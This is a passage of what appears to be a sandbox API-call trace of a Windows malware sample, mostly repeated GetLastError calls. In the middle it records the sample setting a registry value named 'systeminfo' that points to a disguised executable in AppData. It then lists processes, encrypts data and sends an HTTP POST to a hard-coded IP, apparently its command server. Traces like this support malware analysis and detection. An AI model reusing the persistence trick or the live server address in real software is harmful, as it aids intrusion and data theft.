GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.077] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.078] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.079] GetLastError () returned 0x0 [0067.080] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.080] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.081] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.082] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.083] GetLastError () returned 0x0 [0067.084] GetLastError () returned 0x0 [0067.084] GetLastError () returned 0x0 [0067.085] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0067.085] GetCurrentProcessId () returned 0x81c [0067.085] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3d8690, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x3d8690*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0067.085] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3d8724, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x3d8724*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0067.085] GetCurrentProcessId () returned 0x81c [0067.085] GetCurrentProcessId () returned 0x81c [0067.085] lstrlenA (lpString="just string") returned 11 [0067.085] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0067.085] GetLastError () returned 0x0 [0067.085] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0067.085] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db7a8, Final=1, dwFlags=0x0, pbData=0x40ca28, pdwDataLen=0x290f58c | out: pbData=0x40ca28, pdwDataLen=0x290f58c) returned 1 [0067.085] CryptVerifySignatureW (hHash=0x3db7a8, pbSignature=0x3d8690, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0067.085] CryptDestroyHash (hHash=0x3db7a8) returned 1 [0067.085] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.085] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0067.085] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.085] RegSetValueExW (in: hKey=0x3e8, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0067.085] RegCloseKey (hKey=0x3e8) returned 0x0 [0067.085] GetCurrentProcess () returned 0xffffffff [0067.085] GetLastError () returned 0x0 [0067.085] wsprintfA (in: param_1=0x290f2ff, param_2="%X%P" | out: param_1="6DCFDBP") returned 7 [0067.085] SetLastError (dwErrCode=0x0) [0067.086] GetCurrentProcessId () returned 0x81c [0067.449] GetTickCount () returned 0x1ff64 [0067.449] GetTickCount () returned 0x1ff64 [0067.449] GetTickCount () returned 0x1ff64 [0067.540] GetTickCount () returned 0x1ffb2 [0067.948] GetTickCount () returned 0x20157 [0067.948] GetLastError () returned 0x0 [0067.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e8 [0067.950] GetLastError () returned 0x0 [0067.950] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="6DD018P") returned 7 [0067.950] SetLastError (dwErrCode=0x0) [0067.950] GetCurrentProcessId () returned 0x81c [0067.950] Process32FirstW (in: hSnapshot=0x3e8, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.950] GetCurrentProcessId () returned 0x81c [0067.951] GetCurrentProcessId () returned 0x81c [0067.951] GetCurrentProcessId () returned 0x81c [0067.951] GetCurrentProcessId () returned 0x81c [0067.964] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0067.964] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db7a8, Final=1, dwFlags=0x0, pbData=0x3d2614*, pdwDataLen=0x290f4b4*=0x246, dwBufLen=0x250 | out: pbData=0x3d2614*, pdwDataLen=0x290f4b4*=0x250) returned 1 [0067.964] GetLastError () returned 0x12 [0067.964] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0067.965] CryptGetHashParam (in: hHash=0x3db7a8, dwParam=0x2, pbData=0x3d2600, pdwDataLen=0x290f4b0, dwFlags=0x0 | out: pbData=0x3d2600, pdwDataLen=0x290f4b0) returned 1 [0067.965] CryptDestroyHash (hHash=0x3db7a8) returned 1 [0067.965] lstrlenA (lpString="just string") returned 11 [0067.965] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0067.965] GetLastError () returned 0x0 [0067.965] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0067.965] GetCurrentProcess () returned 0xffffffff [0067.965] GetLastError () returned 0x0 [0067.965] wsprintfA (in: param_1=0x290f223, param_2="%X%P" | out: param_1="6E2F85P") returned 7 [0067.965] SetLastError (dwErrCode=0x0) [0067.965] GetCurrentProcessId () returned 0x81c [0067.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0067.965] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.965] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.965] GetCurrentProcessId () returned 0x81c [0067.965] lstrlenA (lpString="just string") returned 11 [0067.965] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0067.965] GetLastError () returned 0x0 [0067.965] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0067.967] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x3d25a0*, dwOptionalLength=0x2c4 | out: lpOptional=0x3d25a0*) returned 1 [0068.531] lstrlenA (lpString="just string") returned 11 [0068.531] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.531] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.532] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.533] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 [0068.534] GetLastError () returned 0x0 